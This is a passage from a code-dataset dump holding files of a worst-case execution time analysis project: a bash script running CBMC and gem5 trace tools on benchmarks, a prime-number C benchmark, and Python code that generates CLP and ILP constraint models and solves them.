qurt(a);\r\n\r\n return 0;\r\n}\r\n" }, { "alpha_fraction": 0.7505205869674683, "alphanum_fraction": 0.768846333026886, "avg_line_length": 62.18421173095703, "blob_id": "b82ad469e41bbd6a0a3fda1ff171d165d4a18a88", "content_id": "3bed69275cb2a481583c53ebaf558ea9b3a27d16", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 2401, "license_type": "no_license", "max_line_length": 94, "num_lines": 38, "path": "/DaikonPathInformation/benchmarks/CBMC.bash", "repo_name": "jiankangren/Projects", "src_encoding": "UTF-8", "text": "python ../src/RunCBMC.py --CBMC /home/adam/CBMC/cbmc adpcm.c \npython ../src/RunCBMC.py --CBMC /home/adam/CBMC/cbmc binary_search.c \npython ../src/RunCBMC.py --CBMC /home/adam/CBMC/cbmc bubblesort.c \npython ../src/RunCBMC.py --CBMC /home/adam/CBMC/cbmc compress.c\npython ../src/RunCBMC.py --CBMC /home/adam/CBMC/cbmc crc.c\npython ../src/RunCBMC.py --CBMC /home/adam/CBMC/cbmc edn.c \npython ../src/RunCBMC.py --CBMC /home/adam/CBMC/cbmc fastDiscreteCosineTransform.c \npython ../src/RunCBMC.py --CBMC /home/adam/CBMC/cbmc fft.c \npython ../src/RunCBMC.py --CBMC /home/adam/CBMC/cbmc insertsort.c \npython ../src/RunCBMC.py --CBMC /home/adam/CBMC/cbmc LUdecomposition.c\npython ../src/RunCBMC.py --CBMC /home/adam/CBMC/cbmc matrix_inverse.c\npython ../src/RunCBMC.py --CBMC /home/adam/CBMC/cbmc embedded.c \npython ../src/RunCBMC.py --CBMC /home/adam/CBMC/cbmc quicksort.c \npython ../src/RunCBMC.py --CBMC /home/adam/CBMC/cbmc quadraticroots.c\npython ../src/RunCBMC.py --CBMC /home/adam/CBMC/cbmc select.c\npython ../src/RunCBMC.py --CBMC /home/adam/CBMC/cbmc squareroot.c\npython ../src/ToolGem5.py adpcm m5out/adpcm.trace*\npython ../src/ToolGem5.py binary_search m5out/binary_search.trace*\npython ../src/ToolGem5.py bubblesort m5out/bubblesort.trace*\npython ../src/ToolGem5.py matrix_count m5out/matrix_count.trace*\npython ../src/ToolGem5.py compress m5out/compress.trace*\npython ../src/ToolGem5.py cover m5out/cover.trace*\npython ../src/ToolGem5.py crc m5out/crc.trace*\npython ../src/ToolGem5.py edn m5out/edn.trace*\npython ../src/ToolGem5.py fastDiscreteCosineTransform m5out/fastDiscreteCosineTransform.trace*\npython ../src/ToolGem5.py fft m5out/fft.trace*\npython ../src/ToolGem5.py insertsort m5out/insertsort.trace*\npython ../src/ToolGem5.py janne_complex m5out/janne_complex.trace*\npython ../src/ToolGem5.py lcdnum m5out/lcdnum.trace*\npython ../src/ToolGem5.py LUdecomposition m5out/LUdecomposition.trace*\npython ../src/ToolGem5.py matrix_inverse m5out/matrix_inverse.trace*\npython ../src/ToolGem5.py matrixmultiply m5out/matrixmultiply.trace*\npython ../src/ToolGem5.py embedded m5out/embedded.trace*\npython ../src/ToolGem5.py quicksort m5out/quicksort.trace*\npython ../src/ToolGem5.py quadraticroots m5out/quadraticroots.trace*\npython ../src/ToolGem5.py select m5out/select.trace*\npython ../src/ToolGem5.py squareroot m5out/squareroot.trace*\npython ../src/ToolGem5.py statistics m5out/statistics.trace*\n" }, { "alpha_fraction": 0.5342960357666016, "alphanum_fraction": 0.5415162444114685, "avg_line_length": 33.5, "blob_id": "8479fd42ee5c13043cc98bb722275cea9d56e97f", "content_id": "83a7dfedc7073b3d929115a6e77022dd55f43b20", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 277, "license_type": "no_license", "max_line_length": 58, "num_lines": 8, "path": "/DaikonPathInformation/src/config.py", "repo_name": "jiankangren/Projects", "src_encoding": "UTF-8", "text": "\nclass Arguments:\n \"\"\"Globals and arguments passed on the command line\"\"\"\n \n m5_trace_directory = \"m5out\"\n GCC = \"arm-linux-gnueabi-gcc\"\n objdump = \"arm-linux-gnueabi-objdump\"\n basename = None\n basepath = None\n" }, { "alpha_fraction": 0.47685524821281433, "alphanum_fraction": 0.5077149271965027, "avg_line_length": 13.465909004211426, "blob_id": "bd16eedf7a8af1421808e682e9a8a9c86c169650", "content_id": "d535ff8350ddbe4e356ea9d8b9b1264e919cf5b1", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 1361, "license_type": "no_license", "max_line_length": 69, "num_lines": 88, "path": "/DaikonPathInformation/benchmarks/prime.c", "repo_name": "jiankangren/Projects", "src_encoding": "UTF-8", "text": "/*\r\n * Prime program taken from MDH suite and modified by Adam Betts\r\n * to consume a test vector supplied on the command line.\r\n *\r\n * For this program, the test vector is a single element. The program\r\n * determines if it is prime or not.\r\n */\r\n\r\nunsigned char\r\ndivides (unsigned int n, unsigned int m)\r\n{\r\n return m % n == 0;\r\n}\r\n\r\nunsigned char\r\neven (unsigned int n)\r\n{\r\n return divides (2, n);\r\n}\r\n\r\nunsigned char\r\nprime (unsigned int n)\r\n{\r\n #ifdef CBMC\r\n int __count_3_11 = 0;\r\n int __count_7_11 = 0;\r\n int __count_8_9 = 0;\r\n int __count_9_10 = 0;\r\n int __count_L9 = 0;\r\n #endif\r\n int i;\r\n\r\n if (even (n))\r\n {\r\n #ifdef CBMC\r\n __count_3_11++;\r\n #endif\r\n return n == 2;\r\n }\r\n\r\n for (i = 3; \r\n #ifdef CBMC\r\n __count_L9++,\r\n #endif\r\n i * i <= n; i += 2)\r\n {\r\n if (divides (i, n))\r\n {\r\n #ifdef CBMC\r\n __count_7_11++;\r\n #endif\r\n return 0;\r\n }\r\n #ifdef CBMC\r\n __count_8_9++;\r\n #endif\r\n }\r\n #ifdef CBMC\r\n __count_9_10++;\r\n #endif\r\n return n > 1;\r\n}\r\n\r\nint\r\nmain (int argc, char *argv[])\r\n{\r\n unsigned char answer;\r\n unsigned int number;\r\n \r\n /*\r\n * One integer must be supplied\r\n */\r\n if (argc != 2)\r\n {\r\n return 1;\r\n }\r\n \r\n number = atoi(argv[1]);\r\n if (number < 2)\r\n {\r\n return 1;\r\n }\r\n\r\n answer = prime (number);\r\n printf(\"%c\", answer); \r\n\r\n return 0;\r\n}\r\n" }, { "alpha_fraction": 0.5429610013961792, "alphanum_fraction": 0.5484987497329712, "avg_line_length": 50.25, "blob_id": "4702f95a20d1c08ac4ae20349664ff7fe33d3f41", "content_id": "55fcefe7fddecc76f630cbfafdb00a47c646dcda", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 34671, "license_type": "no_license", "max_line_length": 159, "num_lines": 676, "path": "/DaikonPathInformation/src/calculations.py", "repo_name": "jiankangren/Projects", "src_encoding": "UTF-8", "text": "import directed_graphs\nimport vertices\nimport edges\nimport config\nimport debug\nimport os\nimport timeit\nimport subprocess\nimport re\nimport decimal\nimport shlex\n\ndef getNewLine (num=1):\n return \"\\n\" * num \n\nclass WCETCalculation:\n def __init__ (self, program, data):\n self.__VanillaContextIDToWCET = {}\n self.__ExtraContextIDToWCET = {}\n contextg = program.getContextGraph()\n dfs = directed_graphs.DepthFirstSearch(contextg, contextg.getRootID())\n for vertexID in dfs.getPostorder():\n contextv = contextg.getVertex(vertexID)\n functionName = contextv.getName()\n pathg = program.getPathInfoGraph(functionName)\n if pathg.isExecutedFunction():\n debug.verbose_message(\"Doing WCET calculation on %s\" % functionName, __name__)\n lnt = program.getLNT(functionName)\n cfg = program.getCFG(functionName)\n ilp1 = CreateCFGILPVanilla(data, self.__VanillaContextIDToWCET, contextv, cfg, lnt, pathg)\n ilp1WCET, ilp1SolvingTime = ilp1.solve()\n debug.verbose_message(\"ILP(vanilla):: WCET(%s)=%s (SOLVE TIME=%.5f)\" % (functionName, ilp1WCET, ilp1SolvingTime), __name__)\n self.__VanillaContextIDToWCET[contextv.vertexID] = ilp1WCET\n if not pathg.executionDependencies() and not pathg.mutualInclusionPairs() and not pathg.mutualExclusionPairs():\n ilp2 = CreateCFGILPExtra(data, self.__ExtraContextIDToWCET, contextv, cfg, lnt, pathg)\n ilp2WCET, ilp2SolvingTime = ilp2.solve()\n self.__ExtraContextIDToWCET[contextv.vertexID] = ilp2WCET\n debug.verbose_message(\"ILP(extra):: WCET(%s)=%s (SOLVE TIME=%.5f)\" % (functionName, ilp2WCET, ilp2SolvingTime), __name__)\n else:\n clp2 = CreateCFGCLPExtra(data, self.__ExtraContextIDToWCET, contextv, cfg, lnt, pathg)\n clp2WCET, clp2SolvingTime = clp2.solve()\n self.__ExtraContextIDToWCET[contextv.vertexID] = clp2WCET\n debug.verbose_message(\"CLP(extra):: WCET(%s)=%s (SOLVE TIME=%.5f)\" % (functionName, clp2WCET, clp2SolvingTime), __name__)\n else:\n debug.verbose_message(\"%s did not execute\" % functionName, __name__)\n self.__VanillaContextIDToWCET[contextv.vertexID] = 0\n self.__ExtraContextIDToWCET[contextv.vertexID] = 0\n \nclass ECLIPSE:\n fileExtensions = ['.res', '.vanilla', '.extra']\n conjunct = \",\" + getNewLine()\n clauseSep = \":-\"\n domainSep = \" #:: \"\n equals = \" #= \"\n fileSuffix = \"ecl\"\n gt = \" #> \"\n gtOrEqual = \" #>= \"\n implies = \" => \"\n lt = \" #< \"\n ltOrEqual = \" #=< \"\n multiply = \"*\"\n plus = \" + \"\n terminator = \".\"\n \n @staticmethod\n def getComment (comment):\n return \"% \" + comment + getNewLine()\n \n @staticmethod\n def getEdgeCountVariable (sourceID, destinationID):\n return \"E_%d_%d\" % (sourceID, destinationID)\n \n @staticmethod\n def getVertexCountVariable (vertexID):\n return \"V_%d\" % (vertexID)\n \n @staticmethod\n def getVertexWCETVariable (vertexID):\n return \"W_%d\" % (vertexID)\n \n @staticmethod\n def getTempList (suffix):\n return \"VARS%d\" % suffix\n \nclass CLP:\n WCET = \"WCET\"\n PWCET = \"PWCET\"\n BB_TIMES = \"BB_TIMES\"\n BB_COUNTS = \"BB_COUNTS\"\n EDGE_COUNTS = \"EDGE_COUNTS\"\n OUTPUT_PREDICATE_HEAD = \"print_results\"\n \n def __init__ (self):\n self._filename = None\n self._wcet = 0\n self._solvingTime = 0\n self._lines = []\n self.__addRequiredPackages()\n self.__goal = \"solve(%s)\" % (CLP.WCET)\n self._lines.append(\"%s%s%s\" % (self.__goal, ECLIPSE.clauseSep, getNewLine()))\n \n def __addRequiredPackages (self):\n self._lines.append(ECLIPSE.getComment(\"Packages\"))\n libs = ['ic', 'branch_and_bound', 'lists', 'util']\n for lib in libs:\n self._lines.append(\"%s%s(%s)%s%s\" % (ECLIPSE.clauseSep, 'lib', lib, ECLIPSE.terminator, getNewLine()))\n self._lines.append(getNewLine())\n \n def solve (self):\n with open(self._filename, 'w') as clpFile:\n for line in self._lines:\n clpFile.write(line) \n debug.debug_message(\"Solving CLP in %s\" % self._filename, 10)\n command = 'jeclipse -b %s -e \"%s.\"' % (self._filename, self.__goal) \n debug.verbose_message(\"Running command '%s'\" % command, __name__)\n start = timeit.default_timer()\n proc = subprocess.Popen(command, shell=True, executable=\"/bin/bash\")\n returnCode = proc.wait()\n self._solvingTime = (timeit.default_timer() - start)\n if returnCode != 0:\n debug.warning_message(\"Running '%s' failed\" % command)\n return self._wcet, self._solvingTime\n else:\n with open(self._filename + '.res') as f:\n for line in f:\n if re.match(r'%s' % CLP.WCET, line):\n values = re.findall(r'[0-9]+', line)\n assert len(values) == 1, \"Unable to find WCET value in CLP output file\"\n self._wcet = int(values[0])\n assert self._wcet\n assert self._solvingTime\n return self._wcet, self._solvingTime\n \n def _addOutputPredicates (self):\n fileHandle = \"F\" \n self._lines.append('%s(%s,%s,%s) %s' % (CLP.OUTPUT_PREDICATE_HEAD, CLP.BB_COUNTS, CLP.EDGE_COUNTS, CLP.WCET, ECLIPSE.clauseSep))\n self._lines.append(getNewLine())\n self._lines.append('open(\"%s\",%s,%s)%s' % (os.path.basename(self._filename) + \".res\", \"write\", fileHandle, ECLIPSE.conjunct))\n self._lines.append('print_list(%s,\"%s: \",%s)%s' % (fileHandle, CLP.BB_COUNTS, CLP.BB_COUNTS, ECLIPSE.conjunct))\n self._lines.append('print_list(%s,\"%s: \",%s)%s' % (fileHandle, CLP.EDGE_COUNTS, CLP.EDGE_COUNTS, ECLIPSE.conjunct))\n self._lines.append('write(%s, \"%s: \")%s' % (fileHandle, CLP.WCET, ECLIPSE.conjunct))\n self._lines.append('write(%s,%s)%s' % (fileHandle, CLP.WCET, ECLIPSE.conjunct))\n self._lines.append('nl(%s)%s' % (fileHandle, ECLIPSE.conjunct))\n self._lines.append('close(%s)%s' % (fileHandle, ECLIPSE.terminator))\n self._lines.append(getNewLine(2))\n \n self._lines.append('print_list(_,_,[])%s' % (ECLIPSE.terminator))\n self._lines.append(getNewLine())\n self._lines.append('print_list(%s,Name,[H|T])%s' % (fileHandle, ECLIPSE.clauseSep))\n self._lines.append(getNewLine())\n self._lines.append('write(%s,Name)%s' % (fileHandle, ECLIPSE.conjunct))\n self._lines.append('write(%s,H)%s' % (fileHandle, ECLIPSE.conjunct))\n self._lines.append('print_list1(%s,T)%s' % (fileHandle, ECLIPSE.conjunct))\n self._lines.append('nl(%s)%s' % (fileHandle, ECLIPSE.terminator))\n self._lines.append(getNewLine(2))\n \n self._lines.append('print_list1(_,[])%s' % (ECLIPSE.terminator))\n self._lines.append(getNewLine())\n self._lines.append('print_list1(%s,[H|T])%s' % (fileHandle, ECLIPSE.clauseSep))\n self._lines.append(getNewLine())\n self._lines.append('write(%s,\",\")%s' % (fileHandle, ECLIPSE.conjunct))\n self._lines.append('write(%s,H)%s' % (fileHandle, ECLIPSE.conjunct))\n self._lines.append('print_list1(%s,T)%s' % (fileHandle, ECLIPSE.terminator))\n self._lines.append(getNewLine(2))\n \nclass CreateCFGCLP (CLP):\n def __init__ (self):\n CLP.__init__(self)\n\n def _addVariables (self, cfg):\n self._lines.append(ECLIPSE.getComment(\"Declarations\"))\n bbCounts = []\n bbTimes = []\n edgeCounts = []\n for v in cfg:\n bbCounts.append(ECLIPSE.getVertexCountVariable(v.vertexID))\n bbTimes.append(ECLIPSE.getVertexWCETVariable(v.vertexID))\n for succID in v.getSuccessorIDs():\n edgeCounts.append(ECLIPSE.getEdgeCountVariable(v.vertexID, succID))\n self._lines.append(\"%s = [%s]%s\" % (CLP.BB_COUNTS, ','.join(var for var in bbCounts), ECLIPSE.conjunct))\n self._lines.append(\"%s = [%s]%s\" % (CLP.BB_TIMES, ','.join(var for var in bbTimes), ECLIPSE.conjunct))\n self._lines.append(\"%s = [%s]%s\" % (CLP.EDGE_COUNTS, ','.join(var for var in edgeCounts), ECLIPSE.conjunct))\n self._lines.append(getNewLine())\n \n def _addObjectiveFunction (self, cfg):\n self._lines.append(ECLIPSE.getComment(\"Objective function\"))\n rhs = \"\"\n count = 1\n for v in cfg:\n rhs += \"%s%s%s\" % (ECLIPSE.getVertexCountVariable(v.vertexID), ECLIPSE.multiply, ECLIPSE.getVertexWCETVariable(v.vertexID))\n if count < cfg.numOfvertices():\n rhs += ECLIPSE.plus\n count += 1\n self._lines.append(\"%s%s%s%s\" % (CLP.WCET, ECLIPSE.equals, rhs, ECLIPSE.conjunct))\n self._lines.append(getNewLine()) \n \n def _addExecutionTimeDomains (self, data, contextWCETs, contextv, cfg):\n self._lines.append(ECLIPSE.getComment(\"timing constraints\"))\n for v in cfg:\n wcet = data.getExecutionTime(cfg.getName(), v.getOriginalVertexID())\n if cfg.isCallSite(v.vertexID):\n calleeContextID = contextv.getSuccessorWithCallSite(v.vertexID)\n calleeContextWCET = contextWCETs[calleeContextID]\n wcet += calleeContextWCET\n self._lines.append(\"%s%s%d%s\" % \\\n (ECLIPSE.getVertexWCETVariable(v.vertexID), ECLIPSE.equals, wcet, ECLIPSE.conjunct))\n self._lines.append(getNewLine()) \n \n def _addStructuralConstraints (self, cfg):\n self._lines.append(ECLIPSE.getComment(\"Structural constraints\"))\n for v in cfg:\n self._lines.append(ECLIPSE.getComment(\"Vertex %d\" % v.vertexID))\n # Flow out to successor edges\n rhs = \"\"\n count = 1\n for predID in v.getPredecessorIDs():\n rhs += ECLIPSE.getEdgeCountVariable(predID, v.vertexID)\n if count < v.numberOfPredecessors():\n rhs += ECLIPSE.plus\n count += 1\n self._lines.append(\"%s%s%s%s\" % (ECLIPSE.getVertexCountVariable(v.vertexID), ECLIPSE.equals, rhs, ECLIPSE.conjunct))\n # Flow in/out through predecessor/successor edges\n lhs = \"\"\n count = 1\n for succID in v.getSuccessorIDs():\n lhs += ECLIPSE.getEdgeCountVariable(v.vertexID, succID)\n if count < v.numberOfSuccessors():\n lhs += ECLIPSE.plus\n count += 1\n rhs = \"\"\n count = 1\n for predID in v.getPredecessorIDs():\n rhs += ECLIPSE.getEdgeCountVariable(predID, v.vertexID)\n if count < v.numberOfPredecessors():\n rhs += ECLIPSE.plus\n count += 1\n self._lines.append(\"%s%s%s%s\" % (lhs, ECLIPSE.equals, rhs, ECLIPSE.conjunct))\n self._lines.append(getNewLine())\n \n def _addRelativeCapacityConstraints (self, cfg, lnt, pathg):\n self._lines.append(ECLIPSE.getComment(\"Relative capacity constraints\"))\n for level, the_vertices in lnt.levelIterator(True):\n for treev in the_vertices:\n if isinstance(treev, vertices.HeaderVertex):\n headerID = treev.getHeaderID()\n self._lines.append(ECLIPSE.getComment(\"Capacity constraints on header %d\" % treev.getHeaderID())) \n if treev.vertexID == lnt.getRootID():\n self._lines.append(\"%s%s%d%s\" % (ECLIPSE.getEdgeCountVariable(cfg.getExitID(), cfg.getEntryID()), ECLIPSE.equals, 1, ECLIPSE.conjunct))\n else:\n relativeBound = 0\n for programPoint in pathg.getLoopMonitoredProgramPoints(headerID):\n pathv = pathg.getProgramPointVertex(programPoint)\n succe = pathv.getSuccessoredges(edges.PathInformationEdgeType.LOOP_BOUNDS)[0]\n relativeBound = max(relativeBound, succe.relative)\n v = cfg.getVertex(headerID)\n loopBody = lnt.getLoopBody(headerID)\n forwardSuccIDs = []\n for succID in v.getSuccessorIDs():\n if succID in loopBody:\n forwardSuccIDs.append((headerID, succID))\n lhs = \"\"\n count = 1\n for edge in forwardSuccIDs:\n lhs += ECLIPSE.getEdgeCountVariable(edge[0], edge[1])\n if count < len(forwardSuccIDs):\n lhs += ECLIPSE.plus\n count += 1\n forwardPredIDs = []\n for prede in v.getPredecessoredges():\n if not lnt.isLoopBackEdge(prede.vertexID, headerID):\n forwardPredIDs.append((prede.vertexID, headerID))\n rhs = \"\"\n count = 1\n for edge in forwardPredIDs:\n rhs += \"%d%s%s\" % (relativeBound, ECLIPSE.multiply, ECLIPSE.getEdgeCountVariable(edge[0], edge[1]))\n if count < len(forwardPredIDs):\n rhs += ECLIPSE.plus\n count += 1\n self._lines.append(\"%s%s%s%s\" % (lhs, ECLIPSE.ltOrEqual, rhs, ECLIPSE.conjunct))\n self._lines.append(getNewLine()) \n \n def __getUpperBound (self, lnt, vertexID, headerID, headerToUpperCapacityBound):\n if lnt.isLoopHeader(vertexID):\n return headerToUpperCapacityBound[vertexID]\n return headerToUpperCapacityBound[headerID]\n \n def _addExecutionCountDomains (self, cfg, lnt, pathg, addPathInformation):\n self._lines.append(ECLIPSE.getComment(\"Execution count domains\"))\n headerToUpperCapacityBound = {}\n for headerID in lnt.getHeaderIDs():\n upperCapacityBound = 0\n for programPoint in pathg.getLoopMonitoredProgramPoints(headerID):\n pathv = pathg.getProgramPointVertex(programPoint)\n succe = pathv.getSuccessoredges(edges.PathInformationEdgeType.LOOP_BOUNDS)[0]\n upperCapacityBound = max(upperCapacityBound, succe.upper)\n headerToUpperCapacityBound[headerID] = upperCapacityBound\n headerToUpperCapacityBound[cfg.getEntryID()] = 1\n \n # First add domains for basic blocks\n for v in cfg: \n vertexID = v.vertexID\n treev = lnt.getVertex(vertexID)\n headerv = lnt.getVertex(treev.getParentID())\n headerID = headerv.getHeaderID()\n lowerCapacityBound = 0\n upperCapacityBound = 0\n if not addPathInformation:\n lowerCapacityBound = 0\n upperCapacityBound = self.__getUpperBound(lnt, vertexID, headerID, headerToUpperCapacityBound)\n else:\n pathv = pathg.isMonitoredVertex(vertexID)\n if pathv:\n succe = pathv.getSuccessoredges(edges.PathInformationEdgeType.CAPACITY_BOUNDS)[0]\n lowerCapacityBound = succe.lower\n upperCapacityBound = succe.upper\n else:\n upperCapacityBound = self.__getUpperBound(lnt, vertexID, headerID, headerToUpperCapacityBound) \n line = \"%s%s[%d.%d]%s\" % (ECLIPSE.getVertexCountVariable(vertexID), ECLIPSE.domainSep, lowerCapacityBound, upperCapacityBound, ECLIPSE.conjunct)\n self._lines.append(line) \n \n # Now add domains for edges\n for v in cfg: \n vertexID = v.vertexID\n treev1 = lnt.getVertex(vertexID)\n headerv1 = lnt.getVertex(treev1.getParentID()) \n headerBound1 = self.__getUpperBound(lnt, vertexID, headerv1.getHeaderID(), headerToUpperCapacityBound)\n for succID in v.getSuccessorIDs(): \n treev2 = lnt.getVertex(succID)\n headerv2 = lnt.getVertex(treev2.getParentID()) \n headerBound2 = self.__getUpperBound(lnt, succID, headerv2.getHeaderID(), headerToUpperCapacityBound)\n lowerCapacityBound = 0\n upperCapacityBound = 0 \n upperCapacityBound = max(headerBound1, headerBound2)\n if addPathInformation:\n pathv = pathg.isMonitoredEdge(vertexID, succID)\n if pathv:\n succe = pathv.getSuccessoredges(edges.PathInformationEdgeType.CAPACITY_BOUNDS)[0]\n lowerCapacityBound = succe.lower\n upperCapacityBound = succe.upper\n line = \"%s%s[%d.%d]%s\" % \\\n (ECLIPSE.getEdgeCountVariable(vertexID, succID), ECLIPSE.domainSep, lowerCapacityBound, upperCapacityBound, ECLIPSE.conjunct)\n self._lines.append(line)\n self._lines.append(getNewLine()) \n \n def _addEpilogue (self):\n self._lines.append(\"%s%s%d%s%s%s\" % (CLP.PWCET, ECLIPSE.equals, -1, ECLIPSE.multiply, CLP.WCET, ECLIPSE.conjunct))\n self._lines.append(\"append(%s,%s,%s)%s\" % (CLP.EDGE_COUNTS, CLP.BB_COUNTS, ECLIPSE.getTempList(0), ECLIPSE.conjunct))\n self._lines.append(\"append(%s,%s,%s)%s\" % (CLP.BB_TIMES, ECLIPSE.getTempList(0), ECLIPSE.getTempList(1), ECLIPSE.conjunct))\n self._lines.append(\"time(bb_min(search(%s,0,input_order,indomain_max,complete,[]),%s,bb_options{}))%s\" % \\\n (ECLIPSE.getTempList(1), CLP.PWCET, ECLIPSE.conjunct))\n self._lines.append(\"%s(%s, %s, %s)%s\" % \\\n (CLP.OUTPUT_PREDICATE_HEAD, CLP.BB_COUNTS, CLP.EDGE_COUNTS, CLP.WCET, ECLIPSE.terminator))\n self._lines.append(getNewLine(2))\n\nclass CreateCFGCLPVanilla (CreateCFGCLP):\n def __init__ (self, data, contextWCETs, contextv, cfg, lnt, pathg):\n CreateCFGCLP.__init__(self)\n self._filename = \"%s.%s.context%s.%s.%s.vanilla\" % (config.Arguments.basepath + os.sep + config.Arguments.basename, \n contextv.getName(), \n contextv.vertexID, \n \"cfg\", \n ECLIPSE.fileSuffix)\n self._addVariables(cfg)\n self._addObjectiveFunction(cfg)\n self._addExecutionTimeDomains(data, contextWCETs, contextv, cfg)\n self._addStructuralConstraints(cfg)\n self._addRelativeCapacityConstraints(cfg, lnt, pathg)\n self._addExecutionCountDomains(cfg, lnt, pathg, False)\n self._addEpilogue()\n self._addOutputPredicates()\n\nclass CreateCFGCLPExtra (CreateCFGCLP):\n def __init__ (self, data, contextWCETs, contextv, cfg, lnt, pathg):\n CreateCFGCLP.__init__(self)\n self._filename = \"%s.%s.context%s.%s.%s.extra\" % (config.Arguments.basepath + os.sep + config.Arguments.basename, \n contextv.getName(), \n contextv.vertexID, \n \"cfg\", \n ECLIPSE.fileSuffix)\n self._addVariables(cfg)\n self._addObjectiveFunction(cfg)\n self._addExecutionTimeDomains(data, contextWCETs, contextv, cfg)\n self._addStructuralConstraints(cfg)\n self._addRelativeCapacityConstraints(cfg, lnt, pathg)\n self._addExecutionCountDomains(cfg, lnt, pathg, True)\n self._addInfeasiblePathConstraints(cfg, lnt, pathg)\n self._addEpilogue()\n self._addOutputPredicates()\n\n def _addInfeasiblePathConstraints (self, cfg, lnt, pathg):\n self._lines.append(ECLIPSE.getComment(\"Infeasible path constraints\"))\n for pathv in pathg:\n succe = pathv.getSuccessoredges(edges.PathInformationEdgeType.CAPACITY_BOUNDS)[0]\n if succe.upper > 0:\n programPoint = pathv.getProgramPoint()\n if isinstance(programPoint, tuple):\n countVariable1 = ECLIPSE.getEdgeCountVariable(programPoint[0], programPoint[1])\n else:\n countVariable1 = ECLIPSE.getVertexCountVariable(programPoint)\n for succe in pathv.getSuccessoredges(edges.PathInformationEdgeType.INCLUSION):\n succv = pathg.getVertex(succe.vertexID)\n succProgramPoint = succv.getProgramPoint()\n if isinstance(succProgramPoint, tuple):\n countVariable2 = ECLIPSE.getEdgeCountVariable(succProgramPoint[0], succProgramPoint[1])\n else:\n countVariable2 = ECLIPSE.getVertexCountVariable(succProgramPoint)\n self._lines.append(\"%s%s0%s%s%s0%s\" % \\\n (countVariable1, ECLIPSE.gt, ECLIPSE.implies, countVariable2, ECLIPSE.gt, ECLIPSE.conjunct))\n for succe in pathv.getSuccessoredges(edges.PathInformationEdgeType.EXCLUSION):\n succv = pathg.getVertex(succe.vertexID)\n succProgramPoint = succv.getProgramPoint()\n if isinstance(succProgramPoint, tuple):\n countVariable2 = ECLIPSE.getEdgeCountVariable(succProgramPoint[0], succProgramPoint[1])\n else:\n countVariable2 = ECLIPSE.getVertexCountVariable(succProgramPoint)\n self._lines.append(\"%s%s0%s%s%s0%s\" % \\\n (countVariable1, ECLIPSE.gt, ECLIPSE.implies, countVariable2, ECLIPSE.equals, ECLIPSE.conjunct))\n self._lines.append(getNewLine())\n \nclass LpSolve:\n comma = \",\"\n dummyPrefix = \"d_\"\n edgePrefix = \"e_\"\n equals = \" = \"\n fileSuffix = \"ilp\"\n gt = \" > \"\n gtOrEqual = \" >= \"\n int_ = \"int\"\n lt = \" < \"\n ltOrEqual = \" <= \"\n max_ = \"max: \"\n plus = \" + \"\n semiColon = \";\"\n vertexPrefix = \"v_\"\n \n @staticmethod\n def getDummyVariable (edgeID, index=0):\n if index:\n return \"%s%s_%d\" % (LpSolve.dummyPrefix, edgeID, index)\n return \"%s%d\" % (LpSolve.dummyPrefix, edgeID)\n \n @staticmethod\n def getEdgeVariable (sourceID, destinationID, index=0):\n if index:\n return \"%s%d_%d_%d\" % (LpSolve.edgePrefix, sourceID, destinationID, index)\n return \"%s%d_%d\" % (LpSolve.edgePrefix, sourceID, destinationID)\n \n @staticmethod\n def getVertexVariable (vertexID, index=0):\n if index:\n return \"%s%s_%d\" % (LpSolve.vertexPrefix, vertexID, index)\n return \"%s%d\" % (LpSolve.vertexPrefix, vertexID)\n \n @staticmethod\n def getComment (comment):\n return \"// \" + comment + \"\\n\"\n \nclass ILP ():\n def __init__ (self):\n self._wcet = 0\n self._solvingTime = 0\n self._variableToExecutionCount = {}\n self._constraints = []\n self._variables = set([])\n self._filename = None\n \n def solve (self):\n assert self._filename, \"ILP filename has not been set\"\n debug.debug_message(\"Solving ILP for %s\" % self._filename, 10)\n command = \"lp_solve %s -S1 -time\" % self._filename \n start = timeit.default_timer()\n proc = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, executable=\"/bin/bash\")\n returnCode = proc.wait()\n self._solvingTime = (timeit.default_timer() - start)\n if returnCode != 0:\n debug.warning_message(\"Running '%s' failed\" % command)\n return self._wcet, self._solvingTime\n for line in proc.stdout.readlines():\n if line.startswith(\"Value of objective function\"):\n lexemes = shlex.split(line)\n self._wcet = long(decimal.Decimal(lexemes[-1])) \n assert self._wcet\n assert self._solvingTime\n for line in proc.stderr.readlines():\n if line.startswith(\"CPU Time for Parsing\"):\n lexemes = shlex.split(line)\n time = lexemes[5][:-1]\n #self.solvingTime -= float(time)\n return self._wcet, self._solvingTime\n \nclass CreateCFGILP (ILP): \n def _createStructuralConstraints (self, cfg):\n for v in cfg:\n vertexID = v.vertexID\n comment = LpSolve.getComment(\"Basic block = %d\" % vertexID)\n self._constraints.append(comment)\n self._variables.add(LpSolve.getVertexVariable(vertexID))\n constraint1 = LpSolve.getVertexVariable(vertexID)\n constraint1 += LpSolve.equals\n num = 1\n for succe in v.getSuccessoredges():\n succID = succe.vertexID \n self._variables.add(LpSolve.getEdgeVariable(vertexID, succID))\n constraint1 += LpSolve.getEdgeVariable(vertexID, succID)\n if num < v.numberOfSuccessors():\n constraint1 += LpSolve.plus\n num += 1\n constraint1 += LpSolve.semiColon\n constraint1 += getNewLine() \n self._constraints.append(constraint1)\n \n constraint2 = \"\"\n num = 1\n for succe in v.getSuccessoredges():\n succID = succe.vertexID \n constraint2 += LpSolve.getEdgeVariable(vertexID, succID)\n if num < v.numberOfSuccessors():\n constraint2 += LpSolve.plus\n num += 1\n constraint2 += LpSolve.equals\n num = 1\n for prede in v.getPredecessoredges():\n predID = prede.vertexID \n constraint2 += LpSolve.getEdgeVariable(predID, vertexID)\n if num < v.numberOfPredecessors():\n constraint2 += LpSolve.plus\n num += 1\n constraint2 += LpSolve.semiColon\n constraint2 += getNewLine(2) \n self._constraints.append(constraint2)\n \n def _createExecutionCountConstraints (self, cfg, lnt, pathg):\n for level, the_vertices in lnt.levelIterator(True):\n for treev in the_vertices:\n if isinstance(treev, vertices.HeaderVertex):\n headerID = treev.getHeaderID()\n if treev.vertexID == lnt.getRootID():\n comment = LpSolve.getComment(\"Upper capacity constraint on header %d\" % cfg.getEntryID())\n self._constraints.append(comment)\n constraint = LpSolve.getVertexVariable(cfg.getEntryID())\n constraint += LpSolve.ltOrEqual\n constraint += str(1)\n constraint += 